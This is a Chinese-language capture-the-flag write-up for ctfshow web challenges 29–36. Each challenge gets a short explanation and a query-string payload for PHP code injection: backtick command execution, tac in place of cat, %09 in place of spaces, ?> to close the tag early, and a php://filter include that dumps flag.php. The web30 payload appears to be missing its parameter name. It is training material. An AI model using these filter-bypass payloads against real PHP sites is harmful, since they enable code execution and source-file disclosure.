0%

ctfshow web入门29~36

web29

img
过滤了flag,可以用system,echo等。

1
2
/?c=system("cat fla*");
/?c=echo`cat fl*`;

web30

img
多过滤了一个system,还可以用echo。

1
/?echo`cat fl*`;

web31

img
cat和空格过滤了,可以用tac.
空格可以用%09绕过。

1
/?c=echo%09`tac%09fl*`;

web32

img
过滤的东西太多了左括号都给过滤了,使用命令逃逸+文件包含
空格可以用%09绕过, ;可以用?>绕过,因为使用?>,所以后面没办法直接拼接php语句,需要使用文件包含。

1
/?c=include%09$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php

再将得到的进行base64解码得到flag

web33

img
和web32差不多,用同样的payload就行

1
/?c=include%09$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php

web34

依旧可以用同样的payload

1
/?c=include%09$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php

web35

依旧可以用同样的payload

1
/?c=include%09$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php

连续几道题都一样,写的真恶心。

web36

这道题把1换成其他的字符就行,其他步骤一样。

1
/?c=include%09$_GET[a]?>&&a=php://filter/convert.base64-encode/resource=flag.php

require可以代替include,PHP常用的可以不加括号的函数echo、print、isset、unset、include、require。